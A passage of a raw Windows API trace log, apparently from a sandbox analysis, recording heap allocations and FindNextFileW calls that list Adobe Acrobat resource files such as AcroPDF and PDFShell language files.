(HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0085.701] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0085.702] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0085.702] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f0108 [0085.702] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12cecd0 [0085.702] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0085.702] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8ec4a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.CHS", cAlternateFileName="")) returned 1 [0085.702] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0085.703] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0085.703] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0085.703] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0085.703] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0085.703] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f0128 [0085.704] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12cedd8 [0085.704] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0085.704] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8ec4a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.CHT", cAlternateFileName="")) returned 1 [0085.704] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0085.704] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0085.704] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0085.705] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0085.705] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0085.705] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f0148 [0085.705] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d6ba8 [0085.705] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0085.705] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.CZE", cAlternateFileName="")) returned 1 [0085.705] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0085.706] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0085.706] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0085.706] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0085.706] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0085.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f0168 [0085.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e51a0 [0085.707] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0085.707] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8ec4a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.DAN", cAlternateFileName="")) returned 1 [0085.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0085.708] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0085.708] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0085.708] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0085.708] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0085.708] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f0188 [0085.708] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e52a8 [0085.709] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0085.709] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8ec4a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c600, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.DEU", cAlternateFileName="")) returned 1 [0085.709] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0085.709] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0085.709] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0085.710] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0085.710] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0085.710] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f01a8 [0085.710] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e53b0 [0085.711] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0085.711] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d912600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xab790, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.dll", cAlternateFileName="")) returned 1 [0085.711] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0085.711] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0085.711] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0085.711] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0085.712] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0085.712] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0085.712] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8ec4a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c600, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.ESP", cAlternateFileName="")) returned 1 [0085.712] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0085.712] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0085.712] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0085.713] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0085.713] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0085.713] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f01c8 [0085.713] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e54b8 [0085.714] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0085.714] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.EUQ", cAlternateFileName="")) returned 1 [0085.714] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0085.714] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0085.714] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0085.715] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0085.715] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0085.715] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f01e8 [0085.715] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e55c0 [0085.715] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0085.715] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8ec4a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c600, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.FRA", cAlternateFileName="")) returned 1 [0085.715] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0085.716] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0085.716] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0085.716] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0085.716] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0085.717] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f0208 [0085.717] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e56c8 [0085.717] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0085.717] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.HRV", cAlternateFileName="")) returned 1 [0085.717] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0085.718] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0085.718] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0085.718] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0085.718] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0085.718] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f0228 [0085.718] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e57d0 [0085.719] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0085.719] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.HUN", cAlternateFileName="")) returned 1 [0085.719] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0085.719] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0085.719] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0085.807] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0085.807] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0085.811] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f0248 [0085.816] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8c6340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c600, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.ITA", cAlternateFileName="")) returned 1 [0085.819] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8c6340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4be00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.JPN", cAlternateFileName="")) returned 1 [0085.820] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8c6340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4be00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.KOR", cAlternateFileName="")) returned 1 [0085.820] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8c6340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c600, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.NLD", cAlternateFileName="")) returned 1 [0085.820] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8c6340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.NOR", cAlternateFileName="")) returned 1 [0085.820] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.POL", cAlternateFileName="")) returned 1 [0085.820] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8c6340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.PTB", cAlternateFileName="")) returned 1 [0085.820] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d938760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.RUM", cAlternateFileName="")) returned 1 [0085.820] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d938760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.RUS", cAlternateFileName="")) returned 1 [0085.820] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d938760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.SKY", cAlternateFileName="")) returned 1 [0085.820] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d938760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.SLV", cAlternateFileName="")) returned 1 [0085.820] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8c6340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.SUO", cAlternateFileName="")) returned 1 [0085.820] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8a01e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.SVE", cAlternateFileName="")) returned 1 [0085.820] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d938760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.TUR", cAlternateFileName="")) returned 1 [0085.820] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d938760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.UKR", cAlternateFileName="")) returned 1 [0085.820] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49800, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.CAT", cAlternateFileName="")) returned 1 [0085.820] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8058e120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.CHS", cAlternateFileName="")) returned 1 [0085.820] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8058e120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.CHT", cAlternateFileName="")) returned 1 [0085.821] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.CZE", cAlternateFileName="")) returned 1 [0085.821] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8058e120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.DAN", cAlternateFileName="")) returned 1 [0085.821] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, 